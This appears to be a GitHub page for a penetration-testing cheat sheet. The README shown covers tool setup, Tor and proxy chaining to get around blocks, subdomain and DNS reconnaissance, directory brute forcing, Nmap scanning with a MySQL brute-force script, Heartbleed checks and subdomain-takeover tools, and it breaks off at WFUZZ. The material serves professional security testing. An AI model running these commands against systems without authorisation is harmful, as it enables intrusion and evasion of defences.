https://github.com/ivan-sincek/penetration-testing-cheat-sheet

Work in progress...
https://github.com/ivan-sincek/penetration-testing-cheat-sheet

bug-bounty ethical-hacking offensive-security penetration-testing red-team-engagement security web web-penetration-testing

Last synced: about 2 months ago
JSON representation

Work in progress...

• Host: GitHub
• URL: https://github.com/ivan-sincek/penetration-testing-cheat-sheet
• Owner: ivan-sincek
• License: mit
• Created: 2019-10-03T16:23:11.000Z (about 5 years ago)
• Default Branch: master
• Last Pushed: 2024-05-21T20:18:30.000Z (7 months ago)
• Last Synced: 2024-05-21T21:29:22.209Z (7 months ago)
• Topics: bug-bounty, ethical-hacking, offensive-security, penetration-testing, red-team-engagement, security, web, web-penetration-testing
• Language: PHP
• Homepage:
• Size: 1.68 MB
• Stars: 587
• Watchers: 21
• Forks: 124
• Open Issues: 0
• Metadata Files:
  • Readme: README.md
  • License: LICENSE

Awesome Lists containing this project

• awesome-hacking-lists - ivan-sincek/penetration-testing-cheat-sheet - Work in progress... (PHP)

README

        
# Penetration Testing Cheat Sheet

This is more of a checklist for myself. May contain useful tips and tricks.

Everything was tested on Kali Linux v2023.1 (64-bit).

For help with any of the tools write ` [-h | -hh | --help]` or `man `.

Sometimes `-h` can be mistaken for a host or some other option. If that's the case, use `-hh` or `--help` instead, or read the manual with `man`.

Some tools do similar tasks, but get slightly different results. Run everything you can. Many tools also complement each other!

Keep in mind when no protocol nor port number in a URL is specified, i.e., if you specify only `somesite.com`, some tools will default to HTTP protocol and port 80.

If you didn't already, read [OWASP Web Security Testing Guide](https://github.com/OWASP/wstg). Checklist can be downloaded [here](https://github.com/OWASP/wstg/tree/master/checklists).

Highly recommend reading [Common Security Issues in Financially-Orientated Web](https://soroush.me/downloadable/common-security-issues-in-financially-orientated-web-applications.pdf).

Websites that you should use while writing the report:

* [cwe.mitre.org/data](https://cwe.mitre.org/data)

* [owasp.org/projects](https://owasp.org/projects)

* [owasp.org/www-project-top-ten](https://owasp.org/www-project-top-ten)

* [cheatsheetseries.owasp.org](https://cheatsheetseries.owasp.org/Glossary.html)

* [first.org/cvss/calculator/4.0](https://www.first.org/cvss/calculator/4.0)

* [nvd.nist.gov/ncp/repository](https://nvd.nist.gov/ncp/repository)

* [attack.mitre.org](https://attack.mitre.org)

My other cheat sheets:

* [WiFi Penetration Testing Cheat Sheet](https://github.com/ivan-sincek/wifi-penetration-testing-cheat-sheet)

* [iOS Penetration Testing Cheat Sheet](https://github.com/ivan-sincek/ios-penetration-testing-cheat-sheet)

* [Android Testing Cheat Sheet](https://github.com/ivan-sincek/android-penetration-testing-cheat-sheet)

## Table of Contents

**0. [Install Tools and Setup](#0-install-tools-and-setup)**

* [API Keys](#api-keys)

* [User-Agents](#user-agents)

* [DNS Resolvers](#dns-resolvers)

* [ProxyChains-NG](#proxychains-ng)

**1. [Reconnaissance](#1-reconnaissance)**

* [Useful Websites](#11-useful-websites)

* [Dmitry](#dmitry)

* [theHarvester](#theharvester)

* [FOCA](#foca-fingerprinting-organizations-with-collected-archives)

* [uncover](#uncover)

* [assetfinder](#assetfinder)

* [Sublist3r](#sublist3r)

* [Subfinder](#subfinder)

* [Amass](#amass)

* [dig](#dig)

* [Fierce](#fierce)

* [DNSRecon](#dnsrecon)

* [host](#host)

* [WHOIS, ASN, CIDR](#whois-asn-cidr)

* [ASNmap](#asnmap)

* [httpx](#httpx)

* [gau](#gau)

* [urlhunter](#urlhunter)

* [Google Dorks](#google-dorks)

* [Chad](#chad)

* [PhoneInfoga](#phoneinfoga)

* [git-dumper](#git-dumper)

* [TruffleHog](#trufflehog)

* [File Scraper](#file-scraper)

* [katana](#katana)

* [Scrapy Scraper](#scrapy-scraper)

* [Directory Fuzzing](#directory-fuzzing)

* [DirBuster](#dirbuster)

* [feroxbuster](#feroxbuster)

* [snallygaster](#snallygaster)

* [IIS Tilde Short name Scanning](#iis-tilde-short-name-scanning)

* [WhatWeb](#whatweb)

* [Parsero](#parsero)

* [EyeWitness](#eyewitness)

* [Wordlists](#wordlists)

**2. [Scanning/Enumeration](#2-scanningenumeration)**

* [Useful Websites](#21-useful-websites)

* [Nmap](#nmap)

* [testssl.sh](#testsslsh)

* [OpenSSL](#openssl)

* [keytool](#keytool)

**3. [Vulnerability Assesment/Exploiting](#3-vulnerability-assesmentexploiting)**

* [Useful Websites](#31-useful-websites)

* [Collaborator Servers](#collaborator-servers)

* [Subdomain Takeover](#subdomain-takeover)

* [Subzy](#subzy)

* [subjack](#subjack)

* [Bypassing the 401 and 403](#bypassing-the-401-and-403)

* [Nikto](#nikto)

* [WPScan](#wpscan)

* [Nuclei](#Nuclei)

* [Arjun](#arjun)

* [WFUZZ](#wfuzz)

* [Insecure Direct Object Reference (IDOR)](#insecure-direct-object-reference-idor)

* [HTTP Response Splitting](#http-response-splitting)

* [Cross-Site Scripting \(XSS\)](#cross-site-scripting-xss)

* [SQL Injection](#sql-injection)

* [sqlmap](#sqlmap)

* [dotdotpwn](#dotdotpwn)

* [Web Shells](#web-shells)

* [Send a Payload With Python](#send-a-payload-with-python)

**4. [Post Exploitation](#4-post-exploitation)**

* [Useful Websites](#41-useful-websites)

* [Generate a Reverse Shell Payload for Windows OS](#generate-a-reverse-shell-payload-for-windows-os)

* [PowerShell Encoded Command](#powershell-encoded-command)

**5. [Password Cracking](#5-password-cracking)**

* [Useful Websites](#51-useful-websites)

* [crunch](#crunch)

* [hash-identifier](#hash-identifier)

* [Hashcat](#hashcat)

* [Cracking the JWT](#cracking-the-jwt)

* [Hydra](#hydra)

* [Password Spraying](#password-spraying)

**6. [Social Engineering](#6-social-engineering)**

* [Drive-by Download](#drive-by-download)

* [Phishing Website](#phishing-website)

**7. [Miscellaneous](#7-miscellaneous)**

* [Useful Websites](#71-useful-websites)

* [cURL](#curl)

* [Ncat](#ncat)

* [multi/handler](#multihandler)

* [ngrok](#ngrok)

* [Additional References](#additional-references)

## 0. Install Tools and Setup

Most tools can be installed with the Linux package manager:

```bash

apt-get update && apt-get -y install sometool

```

For more information visit [kali.org/tools](https://www.kali.org/tools).

---

Some Python tools need to be downloaded and installed manually:

```fundamental

python3 setup.py install

```

Or, installed from the [PyPi](https://pypi.org):

```fundamental

pip3 install sometool

python3 -m pip install sometool

```

---

Some Golang tools need to be downloaded and built manually:

```fundamental

go build sometool.go

```

Or, installed directly:

```fundamental

go install -v github.com/user/sometool@latest

```

For more information visit [pkg.go.dev](https://pkg.go.dev).

To set up Golang, run:

```bash

apt-get -y install golang

echo "export GOROOT=/usr/lib/go" >> ~/.zshrc

echo "export GOPATH=$HOME/go" >> ~/.zshrc

echo "export PATH=$GOPATH/bin:$GOROOT/bin:$PATH" >> ~/.zshrc

source ~/.zshrc

```

If you use other console, you might need to write to `~/.bashrc`, etc.

---

Some tools that are in the form of binaries or shell scripts can be moved to `/usr/bin/` directory for the ease of use:

```bash

mv sometool.sh /usr/bin/sometool && chmod +x /usr/bin/sometool

```

---

Some Java tools need to be downloaded and ran manually with Java (JRE):

```fundamental

java -jar sometool.jar

```

### API Keys

List of useful APIs to integrate in your tools:

* [scrapeops.io](https://scrapeops.io) - bot-safe User-Agents

* [shodan.io](https://developer.shodan.io) - IoT search engine and more

* [censys.io](https://search.censys.io/api) - domain lookup and more

* [github.com](https://github.com/settings/tokens) - public source code repository lookup

* [virustotal.com](https://developers.virustotal.com/reference/overview) - malware database lookup

* [cloud.projectdiscovery.io](https://cloud.projectdiscovery.io) - ProjectDiscovery tools

### User-Agents

Download a list of bot-safe User-Agents, requires [scrapeops.io](https://scrapeops.io) API key:

```python

python3 -c 'import json, requests; open("./user_agents.txt", "w").write(("\n").join(requests.get("http://headers.scrapeops.io/v1/user-agents?api_key=SCRAPEOPS_API_KEY&num_results=100", verify = False).json()["result"]))'

```

### DNS Resolvers

Download a list of trusted DNS resolvers, or manually from [trickest/resolvers](https://github.com/trickest/resolvers):

```python

python3 -c 'import json, requests; open("./resolvers.txt", "w").write(requests.get("https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt", verify = False).text)'

```

### ProxyChains-NG

If Google or any other search engine or service blocks your tool, use ProxyChains-NG and Tor to bypass the restriction.

Installation:

```bash

apt-get update && apt-get -y install proxychains4 tor torbrowser-launcher

```

Do the following changes in `/etc/proxychains4.conf`:

```fundamental

round_robin

chain_len = 1

proxy_dns

remote_dns_subnet 224

tcp_read_time_out 15000

tcp_connect_time_out 8000

[ProxyList]

socks5 127.0.0.1 9050

```

Make sure to comment any chain type other than `round_robin` - e.g., comment `strict_chain` into `# strict_chain`.

Start Tor:

```fundamental

service tor start

```

Then, run any tool you want:

```fundamental

proxychains4 sometool

```

Using only Tor most likely won't be enough, you will need to add more proxies \([1](https://geonode.com/free-proxy-list)\)\([2](https://proxyscrape.com/home)\) to `/etc/proxychains4.conf`; however, it is hard to find free and stable proxies that are not already blacklisted.

Download a list of free proxies:

```bash

curl -s 'https://proxylist.geonode.com/api/proxy-list?limit=50&page=1&sort_by=lastChecked&sort_type=desc' -H 'Referer: https://proxylist.geonode.com/' | jq -r '.data[] | "\(.protocols[]) \(.ip) \(.port)"' > proxychains.txt

curl -s 'https://proxylist.geonode.com/api/proxy-list?limit=50&page=1&sort_by=lastChecked&sort_type=desc' -H 'Referer: https://proxylist.geonode.com/' | jq -r '.data[] | "\(.protocols[])://\(.ip):\(.port)"' > proxies.txt

```

## 1. Reconnaissance

Keep in mind that some \[legacy\] websites might only be accessible through specific web browsers such as Internet Explorer or Edge.

Keep in mind that some websites may be missing the index page and may not redirect you to the real home page. If that's the case, try to manually guess a full path to the home page, use [wayback machine](https://archive.org) or [gau](#gau) to find old URLs, or try directory fuzzing with [Feroxbuster](#feroxbuster) or [DirBuster](#dirbuster).

Search the Internet for default / pre-defined paths and files for a specific web application. Use the gathered information in combination with [Google Dorks](#google-dorks), [Chad](#chad), and [httpx](#httpx) to find the same paths and files on different domains. For not so common web applications, try to find and browse the source code for default / pre-defined paths and files.

You can find the application's source code on [GitHub](https://github.com), [GitLab](https://about.gitlab.com), [searchcode](https://searchcode.com), etc.

Search the application's source code for API keys, credentials, secrets, tokens, hosts, etc., with [TruffleHog](#trufflehog) and [File Scraper](#file-scraper). Don't forget to check old GitHub commits for old but still active API keys, credentials, secrets, tokens, etc.

Inspect the web console for possible errors. Inspect the application's source code for possible comments.

**Don't forget to access the web server over an IP address because you might find server's default welcome page or some other content.**

### 1.1 Useful Websites

* [whois.domaintools.com](https://whois.domaintools.com)

* [otx.alienvault.com](https://otx.alienvault.com) - domain lookup

* [reverseip.domaintools.com](https://reverseip.domaintools.com) - web-based reverse IP lookup

* [lookup.icann.org](https://lookup.icann.org)

* [sitereport.netcraft.com](https://sitereport.netcraft.com)

* [searchdns.netcraft.com](https://searchdns.netcraft.com) - web-based DNS lookup

* [search.censys.io](https://search.censys.io) - domain lookup and more

* [crt.sh](https://crt.sh) - certificate fingerprinting

* [commoncrawl.org](https://commoncrawl.org/get-started) - web crawl dumps

* [opendata.rapid7.com](https://opendata.rapid7.com) - scan dumps

* [searchcode.com](https://searchcode.com)

* [virustotal.com](https://www.virustotal.com/gui/home/search) - malware database lookup

* [haveibeenpwned.com](https://haveibeenpwned.com)

* [intelx.io](https://intelx.io) - database breaches

* [search.wikileaks.org](https://search.wikileaks.org)

* [archive.org](https://archive.org) - wayback machine

* [pgp.circl.lu](https://pgp.circl.lu) - OpenPGP key server

* [shodan.io](https://www.shodan.io) - IoT search engine

* [sherlockeye.io](https://sherlockeye.io) - account lookup

### Dmitry

Gather information:

```fundamental

dmitry -wines -o dmitry_results.txt somedomain.com

```

Deprecated. Netcraft search does not work.

### theHarvester

Gather information:

```fundamental

theHarvester -f theharvester_results.json -b baidu,bing,bingapi,certspotter,crtsh,dnsdumpster,duckduckgo,hackertarget,otx,threatminer,urlscan,yahoo -l 500 -d somedomain.com

```

This tool is changing the search engines quite often, as such, some of them might not work as of this reading.

Sometimes the output file might default to `/usr/lib/python3/dist-packages/theHarvester/` directory.

Extract hostnames from the results:

```bash

jq '.hosts[]' theharvester_results.json | sort -uf | tee -a subdomains.txt

```

Extract IPs from the results:

```bash

jq '.ips[]' theharvester_results.json | sort -uf | tee -a ips.txt

```

Extract emails from the results:

```bash

jq '.emails[]' theharvester_results.json | sort -uf | tee -a emails.txt

```

Extract emails from the results:

```bash

jq '.asns[]' theharvester_results.json | sort -uf | tee -a asns.txt

```

### FOCA (Fingerprinting Organizations with Collected Archives)

Find metadata and hidden information in files.

Tested on Windows 10 Enterprise OS (64-bit).

Minimum requirements:

* download and install [MS SQL Server 2014 Express](https://www.microsoft.com/en-us/download/details.aspx?id=42299) or greater,

* download and install [MS .NET Framework 4.7.1 Runtime](https://dotnet.microsoft.com/download/dotnet-framework/net471) or greater,

* download and install [MS Visual C++ 2010 (64-bit)](https://www.microsoft.com/en-us/download/developer-tools.aspx) or greater,

* download and install [FOCA](https://github.com/ElevenPaths/FOCA/releases).

GUI is very intuitive.

### uncover

Installation:

```fundamental

go install -v github.com/projectdiscovery/uncover/cmd/uncover@latest

```

Set your API keys in `/root/.config/uncover/provider-config.yaml` as following:

```fundamental

shodan:

  - SHODAN_API_KEY

censys:

  - CENSYS_API_ID:CENSYS_API_SECRET

```

Gather information using Shodan, Censys, and more:

```bash

uncover -json -o uncover_results.json -l 100 -e shodan,censys -q somedomain.com

jq -r '.host // empty' uncover_results.json | sort -uf | tee -a subdomains.txt

jq -r '.ip // empty' uncover_results.json | sort -uf | tee -a ips.txt

```

TO DO: More Shodan and Censys Dorks.

### assetfinder

Gather subdomains using OSINT:

```bash

assetfinder --subs-only somedomain.com | grep -v '*' | tee assetfinder_results.txt

```

### Sublist3r

Gather subdomains using OSINT:

```fundamental

sublist3r -o sublister_results.txt -d somedomain.com

```

### Subfinder

Installation:

```fundamental

go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest

```

Gather subdomains using OSINT:

```fundamental

subfinder -t 10 -timeout 3 -nW -o subfinder_results.txt -rL resolvers.txt -d somedomain.com

```

**Subfinder has built-in DNS resolvers.**

Set your API keys in `/root/.config/subfinder/config.yaml` file as following:

```fundamental

shodan:

  - SHODAN_API_KEY

censys:

  - CENSYS_API_ID:CENSYS_API_SECRET

github:

  - GITHUB_API_KEY

virustotal:

  - VIRUSTOTAL_API_KEY

```

### Amass

Gather subdomains using OSINT:

```fundamental

amass enum -o amass_results.txt -trf resolvers.txt -d somedomain.com

```

**Amass has built-in DNS resolvers.**

To find ASNs from IPs and CIDRs from ASNs, use [WHOIS](#whois-asn-cidr). The below ASN and CIDR scans will take a long time to finish. **The results might not be all within your scope allowed by the client!**

Gather subdomains from [ASN](https://www.arin.net/resources/guide/asn):

```fundamental

amass intel -o amass_asn_results.txt -trf resolvers.txt -asn 13337

```

Gather subdomains from [CIDR](https://aws.amazon.com/what-is/cidr):

```fundamental

amass intel -o amass_cidr_results.txt -trf resolvers.txt -cidr 192.168.8.0/24

```

### dig

Fetch name servers:

```fundamental

dig +noall +answer -t NS somedomain.com

```

Fetch exchange servers:

```fundamental

dig +noall +answer -t MX somedomain.com

```

Interrogate a domain name server:

```fundamental

dig +noall +answer -t ANY somedomain.com @ns.somedomain.com

```

Fetch the zone file from a domain name server:

```fundamental

dig +noall +answer -t AXFR somedomain.com @ns.somedomain.com

```

Reverse IP lookup:

```fundamental

dig +noall +answer -x 192.168.8.5

```

\[Subdomain Takeover\] Check if domains/subdomains are dead, look for `NXDOMAIN`, `SERVFAIL`, or `REFUSED` status codes:

```bash

for subdomain in $(cat subdomains.txt); do res=$(dig "${subdomain}" -t A +noall +comments +timeout=3 | grep -Po '(?<=status\:\ )[^\s]+(?

Figure 1 - DirBuster


All DirBuster's wordlists are located at `/usr/share/dirbuster/wordlists/` directory.

### feroxbuster

Brute force directories on a web server:

```fundamental

cat subdomains_live_long.txt | feroxbuster --stdin -k -n --auto-bail --random-agent -t 50 -T 3 --json -o feroxbuster_results.txt -s 200,301,302,401,403 -w directory-list-lowercase-2.3-medium.txt

```

This tool is faster than [DirBuster](#dirbuster).

Filter out directories from the results:

```bash

jq -r 'select(.status | tostring | test("^2")).url' feroxbuster_results.json | sort -uf | tee -a directories_2xx.txt

jq -r 'select(.status | tostring | test("^2|^4")).url' feroxbuster_results.json | sort -uf | tee -a directories_2xx_4xx.txt

jq -r 'select(.status | tostring | test("^3")).url' feroxbuster_results.json | sort -uf | tee -a directories_3xx.txt

jq -r 'select(.status | tostring | test("^401$")).url' feroxbuster_results.json | sort -uf | tee -a directories_401.txt

jq -r 'select(.status | tostring | test("^403$")).url' feroxbuster_results.json | sort -uf | tee -a directories_403.txt

jq -r 'select(.status | tostring | test("^4")).url' feroxbuster_results.json | sort -uf | tee -a directories_4xx.txt

jq -r 'select(.status | tostring | test("^5")).url' feroxbuster_results.json | sort -uf | tee -a directories_5xx.txt

```

| Option | Description |

| --- | --- |

| -u | The target URL (required, unless \[--stdin \| --resume-from\] is used) |

| --stdin | Read URL(s) from STDIN |

| -a/-A | Sets the User-Agent (default: feroxbuster\/x.x.x) \/ Use a random User-Agent |

| -x | File extension(s) to search for (ex: -x php -x pdf,js) |

| -m | Which HTTP request method(s) should be sent (default: GET) |

| --data | Request's body; can read data from a file if input starts with an \@(ex: \@post.bin) |

| -H | Specify HTTP headers to be used in each request (ex: -H header:val -H 'stuff:things') |

| -b | Specify HTTP cookies to be used in each request (ex: -b stuff=things) |

| -Q | Request's URL query parameters (ex: -Q token=stuff -Q secret=key) |

| -f | Append \/ to each request's URL |

| -s | Status Codes to include (allow list) (default: 200,204,301,302,307,308,401,403,405) |

| -T | Number of seconds before a client's request times out (default: 7) |

| -k | Disables TLS certificate validation for the client |

| -t | Number of concurrent threads (default: 50) |

| -n | Do not scan recursively |

| -w | Path to the wordlist |

| --auto-bail | Automatically stop scanning when an excessive amount of errors are encountered |

| -B | Automatically request likely backup extensions for "found" URLs (default: ~, .bak, .bak2, .old, .1) |

| -q | Hide progress bars and banner (good for tmux windows w/ notifications) |

| -o | Output file to write results to (use w/ --json for JSON entries) |

### snallygaster

Download the latest version from [GitHub](https://github.com/hannob/snallygaster/releases). See how to [install](#0-install-tools-and-setup) the tool.

Search a web server for sensitive files:

```bash

snallygaster --nowww somesite.com | tee snallygaster_results.txt

for subdomain in $(cat subdomains_live_short_http.txt); do snallygaster --nohttps --nowww "${subdomain}"; done | tee snallygaster_http_results.txt

for subdomain in $(cat subdomains_live_short_https.txt); do snallygaster --nohttp --nowww "${subdomain}"; done | tee snallygaster_https_results.txt

```

### IIS Tilde Short name Scanning

Download:

```bash

git clone https://github.com/irsdl/IIS-ShortName-Scanner && cd IIS-ShortName-Scanner/release

```

Search an IIS server for files and directories:

```fundamental

java -jar iis_shortname_scanner.jar 2 30 https://somesite.com

```

### WhatWeb

Identify a website:

```fundamental

whatweb -v somesite.com

```

### Parsero

Test all `robots.txt` entries:

```fundamental

parsero -sb -u somesite.com

```

### EyeWitness

Grab screenshots from websites:

```fundamental

eyewitness --no-prompt --no-dns --timeout 3 --threads 5 -d eyewitness_results -f subdomains_live_long.txt

```

To check the screenshots, navigate to `eyewitness_results/screens` directory.

### Wordlists

You can find `rockyou.txt` inside `/usr/share/wordlists/` directory or inside [SecLists](https://github.com/danielmiessler/SecLists) - a useful collection of multiple types of wordlists for security assessments.

Install SecLists (the collection will be stored at `/usr/share/seclists/` directory):

```bash

apt-get update && apt-get install seclists

```

My contribution to the SecLists: [danielmiessler/SecLists/tree/master/Fuzzing/Amounts](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/Amounts)

Another popular wordlist collections:

* [ayoubfathi/leaky-paths](https://github.com/ayoubfathi/leaky-paths)

* [xmendez/wfuzz](https://github.com/xmendez/wfuzz)

* [assetnote/commonspeak2-wordlists](https://github.com/assetnote/commonspeak2-wordlists)

* [weakpass.com/wordlist](https://weakpass.com/wordlist)

* [packetstormsecurity.com/Crackers/wordlists](https://packetstormsecurity.com/Crackers/wordlists)

## 2. Scanning/Enumeration

Keep in mind that web applications or services can be hosted on other ports besides 80 (HTTP) and 443 (HTTPS), e.g., they can be hosted on port 8443 (HTTPS).

Keep in mind that on ports 80 (HTTP) and 443 (HTTPS) a web server can host different web applications or services. Use [Ncat](#ncat) or Telnet for banner grabbing.

Keep in mind that on different URL paths a web server can host different web applications or services, e.g., `somesite.com/app_one/` and `somesite.com/app_two/`.

While scanning for vulnerabilities or running other intensive scans, periodically check the web application or service if it crashed, so that you can alert your client as soon as possible; or in case you got rate limited by the web application firewall (WAF) or some other security product, so that you can pause your scans because all your subsequent requests will be blocked and your results will not be complete.

If a web application or service all of sudden stops responding, try to access the web application or service using your mobile data, i.e., using a different IP. It is possible that your current IP was temporarily blocked.

Send an email message to a non-existent address at target's domain, it will often reveal useful internal network information through a nondelivery notification (NDN).

Get a free [Nessus Community](https://community.tenable.com/s/article/Nessus-Essentials), and if you can afford it, get [Burp Suite Professional](https://portswigger.net/burp) or [Caido](https://caido.io).

### 2.1 Useful Websites

* [ipaddressguide.com/cidr](https://www.ipaddressguide.com/cidr)

* [account.arin.net/public/cidrCalculator](https://account.arin.net/public/cidrCalculator)

* [calculator.net/ip-subnet-calculator.html](https://www.calculator.net/ip-subnet-calculator.html)

* [speedguide.net/ports.php](https://www.speedguide.net/ports.php)

* [securityheaders.com](https://securityheaders.com)

* [csp-evaluator.withgoogle.com](https://csp-evaluator.withgoogle.com) - Content Security Policy evaluator

### Nmap

**For better results, use IPs instead of domain names.**

Ping sweep, map live hosts:

```fundamental

nmap -sn -oG nmap_ping_sweep_results.txt 192.168.8.0/24

nmap -sn -oG nmap_ping_sweep_results.txt -iL cidrs.txt

```

**Some web servers will not respond to ping (ICMP) requests, so the mapping of the live hosts will not be accurate.**

Extract live hosts from the results:

```bash

grep -Po '(?<=Host\:\ )[^\s]+' nmap_ping_sweep_results.txt | sort -uf | tee -a ips_live.txt

```

TCP scan, all ports:

```fundamental

nmap -nv -sS -sV -sC -Pn -oN nmap_tcp_results.txt -p- 192.168.8.0/24

nmap -nv -sS -sV -sC -Pn -oN nmap_tcp_results.txt -p- -iL cidrs.txt

```

Automate TCP scan:

```bash

mkdir nmap_tcp_results

for ip in $(cat ips_live.txt); do nmap -nv -sS -sV -sC -Pn -oN "nmap_tcp_results/nmap_tcp_results_${ip//./_}.txt" -p- "${ip}"; done

```

UDP scan, only important ports:

```fundamental

nmap -nv -sU -sV -sC -Pn -oN nmap_udp_results.txt -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 192.168.8.0/24

nmap -nv -sU -sV -sC -Pn -oN nmap_udp_results.txt -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 -iL cidrs.txt

```

Automate UDP scan:

```bash

mkdir nmap_udp_results

for ip in $(cat ips_live.txt); do nmap -nv -sU -sV -sC -Pn -oN "nmap_udp_results/nmap_udp_results_${ip//./_}.txt" -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 "${subdomain}"; done

```

| Option | Description |

| --- | --- |

| -sn | Ping scan - disable port scan |

| -Pn | Treat all hosts as online -- skip host discovery |

| -n/-R | Never do DNS resolution/Always resolve (default: sometimes) |

| -sS/sT/sA | TCP SYN/Connect()/ACK |

| -sU | UDP scan |

| -p/-p- | Only scan specified ports/Scan all ports |

| --top-ports | Scan  most common ports |

| -sV | Probe open ports to determine service/version info |

| -O | Enable OS detection |

| -sC | Same as --script=default |

| --script | Script scan (takes time to finish) |

| --script-args | Provide arguments to scripts |

| --script-help | Show help about scripts |

| -oN/-oX/-oG | Output scan in normal, XML, and Grepable format |

| -v | Increase verbosity level (use -vv or more for greater effect) |

| --reason | Display the reason a port is in a particular state |

| -A | Enable OS detection, version detection, script scanning, and traceroute |

All Nmap's scripts are located at `/usr/share/nmap/scripts/` directory. Read more about the scripts [here](https://nmap.org/nsedoc).

NSE examples:

```fundamental

nmap -nv --script='mysql-brute' --script-args='userdb="users.txt", passdb="rockyou.txt"' 192.168.8.5 -p 3306

nmap -nv --script='dns-brute' --script-args='dns-brute.domain="somedomain.com", dns-brute.hostlist="subdomains-top1mil.txt"'

nmap -nv --script='ssl-heartbleed' -iL cidrs.txt

```

You can find `rockyou.txt` and `subdomains-top1mil.txt` wordlists in [SecLists](#wordlists).

I prefer to use [Nuclei](#nuclei) for vulnerability scanning.

### testssl.sh

Installation:

```bash

apt-get update && apt-get -y install testssl.sh

```

Test an SSL/TLS certificate (e.g., SSL/TLS ciphers, protocols, etc.):

```fundamental

testssl --openssl /usr/bin/openssl -oH testssl_results.html somesite.com

```

You can also use testssl.sh to exploit SSL/TLS vulnerabilities.

### OpenSSL

Test a web server for Heartbleed vulnerability:

```bash

for subdomain in $(cat subdomains_live.txt); do res=$(echo "Q" | openssl s_client -connect "${subdomain}:443" 2>&1 | grep 'server extension "heartbeat" (id=15)'); if [[ ! -z $res ]]; then echo "${subdomain}"; fi; done | tee openssl_heartbleed_results.txt

# omit the URL scheme

for subdomain in $(cat subdomains_live_short_https.txt); do res=$(echo "Q" | openssl s_client -connect "${subdomain}" 2>&1 | grep 'server extension "heartbeat" (id=15)'); if [[ ! -z $res ]]; then echo "${subdomain}"; fi; done | tee openssl_heartbleed_results.txt

```

### keytool

Grab SSL/TLS certificate:

```fundamental

keytool -printcert -rfc -sslserver somesite.com > keytool_results.txt

openssl x509 -noout -text -in keytool_results.txt

```

Use [uncover](#uncover) with Shodan and Censys SSL/TLS Dorks to find more in-scope hosts.

## 3. Vulnerability Assesment/Exploiting

Always try the null session login, i.e., no password login, or search the Internet for default credentials for a specific web application.

Try to manipulate cookies or JWT tokens to gain access or elevate privileges. On logout, always check if any of the cookies or JWT tokens are still valid.

Always inspect web browser's local storage, especially if testing a single-page application (SPA).

Try to transform, e.g., an HTTP POST request into an HTTP GET request, i.e., into a query string, and see how a server will react to it.

Turn off JavaScript in your web browser and check the web application behaviour again.

Check the web application behaviour on a mobile device as some features might work differently. Try spoofing your User-Agent or try to visiting `m.somesite.com`.

If you want to automate your code injection testing, check the [Wordlists](#wordlists) sub-section for code injection wordlists. Some of the wordlists also include obfuscated code injections.

If you see any amounts or quantities, try to use [danielmiessler/SecLists/tree/master/Fuzzing/Amounts](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/Amounts) wordlist as it might cause unintended behavior, errors, or even bypass the minimum and maximum boundaries.

**Don't forget to clean up after yourself. Remove all the created artifacts, incl. malware, exploits, tools, scripts, etc., and revert all the settings and changes from a target host after you are done testing.**

### 3.1 Useful Websites

* [cvedetails.com](https://www.cvedetails.com)

* [exploit-db.com](https://www.exploit-db.com)

* [cxsecurity.com](https://cxsecurity.com/wlb)

* [hakluke/weaponised-XSS-payloads](https://github.com/hakluke/weaponised-XSS-payloads)

* [namecheap.com](https://www.namecheap.com) - buy domains for cheap

* [streaak/keyhacks](https://github.com/streaak/keyhacks) - validate API keys

* [swisskyrepo/PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)

* [jwt.io](https://jwt.io)

* [portswigger.net/web-security](https://portswigger.net/web-security)

* [bigiamchallenge.com](https://bigiamchallenge.com) - nice AWS CTF

### Collaborator Servers

Used when trying to exploit an open redirect, blind cross-site scripting (XSS), DNS and HTTP interactions, etc.

* [interactsh.com](https://app.interactsh.com)

* [Burp Collaborator](https://portswigger.net/burp/documentation/collaborator)

* [canarytokens.org](https://canarytokens.org/generate)

* [webhook.site](https://webhook.site)

	

### Subdomain Takeover

Gather as much information as you can for a specified target, see how in [1. Reconnaissance](#1-reconnaissance).

Gather organization names with [WHOIS](#whois-asn-cidr), and canonical names with [host](#host).

You can double check if domains/subdomains are dead with [dig](#dig) or alive and [httpx](#httpx).

Check if hosting providers for the found domains/subdomains are vulnerable to domain/subdomain takeover at [EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz). Credits to the author!

Biggest cloud service providers:

* [aws.amazon.com](https://aws.amazon.com)

* [azure.microsoft.com](https://azure.microsoft.com)

* [cloud.google.com](https://cloud.google.com)

* [wordpress.com](https://wordpress.com)

* [shopify.com](https://www.shopify.com)

### Subzy

Installation:

```fundamental

go install -v github.com/lukasikic/subzy@latest

```

Check for domains/subdomains takeover:

```fundamental

subzy -concurrency 100 -timeout 3 -targets subdomains_errors.txt | tee subzy_results.txt

```

### subjack

Installation:

```bash

go install -v github.com/haccer/subjack@latest

```

Check for domains/subdomains takeover:

```fundamental

subjack -v -o subjack_results.json -t 100 -timeout 3 -a -m -w subdomains_errors.txt

```

### Bypassing the 401 and 403

Find out how to bypass 4xx HTTP response status codes at [ivan-sincek/forbidden](https://github.com/ivan-sincek/forbidden).

### Nikto

Scan a web server:

```fundamental

nikto -output nikto_results.txt -h somesite.com -p 80

```

### WPScan

Scan a WordPress website:

```fundamental

wpscan -o wpscan_results.txt --url somesite.com

```

### Nuclei

Installation and updating:

```bash

go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

nuclei -up && nuclei -ut

```

Vulnerability scan, all templates:

```bash

nuclei -c 500 -o nuclei_results.txt -l subdomains_live_long_2xx_4xx.txt

cat nuclei_results.txt | grep -Po '(?<=\]\ ).+' | sort -uf > nuclei_sorted_results.txt

```

Only subdomain takeover:

```fundamental

nuclei -c 500 -t takeovers -o nuclei_takeover_results.txt -l subdomains_live.txt

```

### Arjun

Discover request parameters:

```fundamental

arjun --stable -oT arjun_results.txt -oJ arjun_results.json -T 3 -t 5 --passive -m GET -u https://somesite.com

arjun --stable -oT arjun_results.txt -oJ arjun_results.json -T 3 -t 5 --passive -m GET -i subdomains_live_long_2xx.txt

```

### WFUZZ

Fuzz directories:

```fundamental

